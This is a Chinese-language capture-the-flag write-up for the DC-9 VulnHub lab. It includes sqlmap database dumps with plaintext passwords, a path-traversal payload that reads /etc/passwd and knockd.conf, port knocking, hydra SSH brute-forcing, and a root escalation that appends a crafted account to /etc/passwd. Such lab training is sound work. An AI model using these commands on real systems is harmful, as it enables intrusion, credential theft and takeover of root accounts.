靶场介绍
- Name: DC: 9
- Date release: 29 Dec 2019
- Author: DCAU
- Series: DC
描述
DC-9 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
这一挑战的最终目标是获得根并阅读唯一的标志。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
技术信息
DC-9 是基于 Debian 64 位构建的 VirtualBox VM,但在大多数 PC 上运行它应该没有任何问题。
DC-9 已在 VMWare Player 上成功测试,但如果在 VMware 中运行此 VM 有任何问题,请通读此.
它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。
安装很简单 - 下载它,解压缩,然后将它导入 VirtualBox 或 VMWare,然后就可以了。
重要的
虽然使用此 VM 应该没有问题,但通过下载它,您将对此 VM 可能造成的任何意外损坏承担全部责任。
这么说应该没什么问题,但我觉得有必要把它扔在那里以防万一。
nmap扫描
存活主机
1 2
| kali 192.168.169.220 dc 192.168.169.241
|
目标IP
bp+xray
sqlmap
sqlmap开跑
1
| sqlmap -r dc9.txt --batch --level 4 --dbs
|
users
1
| sqlmap -r dc9.txt --batch --level 4 -D users --tables
|
1
| sqlmap -r dc9.txt --batch --level 4 -D users -T UserDetails --columns
|
1
| sqlmap -r dc9.txt --batch --level 4 -D users -T UserDetails -C username,password --dump
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| | username | password | +-----------+---------------+ | monicag | 3248dsds7s | | marym | 3kfs86sfd | | julied | 468sfdfsd2 | | fredf | 4sfd87sfd1 | | jerrym | B8m#48sd | | bettyr | BamBam01 | | janitor2 | Hawaii-Five-0 | | janitor | Ilovepeepee | | rossg | ILoveRachel | | joeyt | Passw0rd | | wilmaf | Pebbles | | barneyr | RocksOff | | phoebeb | smellycats | | tomc | TC&TheBoyz | | chandlerb | UrAG0D! | | rachelg | yN72#dsd | | scoots | YR3BVxxxw87 |
|
Staff
1
| sqlmap -r dc9.txt --level 4 -D staff --tables
|
1
| sqlmap -r dc9.txt --level 4 -D Staff -T Users --columns
|
1
| sqlmap -r dc9.txt --level 4 -D Staff -T Users -C username,password --dump
|
登陆成功
1 2
| File does not exist 文件不存在
|
文件包含漏洞
1 2 3 4 5
| File does not exist //文件不存在
我为什么就想不到要文件包含呢
manage.php?file=../../../../../../../../etc/passwd
|
knockd
1
| http://192.168.169.241/manage.php?file=../../../../../../../etc/knockd.conf
|
1 2
| File does not exist [options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
|
ssh状态
1 2 3
| nmap -p 7469 192.168.169.241 nmap -p 8475 192.168.169.241 nmap -p 9842 192.168.169.241
|
ssh开启
爆破ssh
- username全部写入到u文件形成user字典
- 之前备用的数据库
- 将各个账户的密码也写进p字典中
- 然后使用两个字典进行爆破,
1
| hydra -L u -P p ssh://192.168.169.241
|
user
monicag
marym
julied
fredf
jerrym
bettyr
janitor2
janitor
rossg
joeyt
wilmaf
barneyr
phoebeb
tomc
chandlerb
rachelg
scoots
pass
3248dsds7s
3kfs86sfd
468sfdfsd2
4sfd87sfd1
B8m#48sd
BamBam01
Hawaii-Five-0
Ilovepeepee
ILoveRachel
Passw0rd
Pebbles
RocksOff
smellycats
TC&TheBoyz
UrAG0D!
yN72#dsd
YR3BVxxxw87
爆破成功
编辑的文本名字和密码内容后面不能有空格
1 2 3
| ssh chandlerb@192.168.169.241 UrAG0D! ssh joeyt@192.168.169.241 Passw0rd ssh janitor@192.168.169.241 Ilovepeepee
|
登录ssh
1
| chandlerb@192.168.169.241 UrAG0D!
|
1
| ssh joeyt@192.168.169.241 Passw0rd
|
1
| ssh janitor@192.168.169.241 Ilovepeepee
|
探索janitor
1 2 3 4 5 6
| BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts
|
再次爆破ssh
1
| [22][ssh] host: 192.168.169.241 login: fredf password: B4-Tru3-001
|
fredf连接ssh
1
| ssh fredf@192.168.169.241 B4-Tru3-001
|
提权
1 2 3 4
| 意思是 读取argv1的内容,然后将1的内容写入argv2。 也就是说 这个python文件 需要两个参数来执行 因为这个文件是root权限,所以这里可以构造参数1:一个root用户和密码,参数2:/etc/passwd 这样这个文件执行 就会创建一个root用户
|
1 2 3 4 5 6 7 8 9
| openssl passwd -1 -salt kidll 123456789
-1 #使用md5加密算法 -salt #自动插入盐值
kidll 123456789 账号 密码
这串代码系统生成 $1$kali$F4zZpaACn/q8kr0i413b30
|
1 2 3 4 5
| kidll:$1$kali$F4zZpaACn/q8kr0i413b30:0:0::/root:/bin/bash
根据/etc/passwd的格式 存放在一个文件里 作为第一个参数
echo 'kidll:$1$kali$F4zZpaACn/q8kr0i413b30:0:0::/root:/bin/bash' >/tmp/a # 这里用tmp 文件夹 这个权限要大一些
|
1
| sudo ./test /tmp/a /etc/passwd
|
vulnhub dc系列结束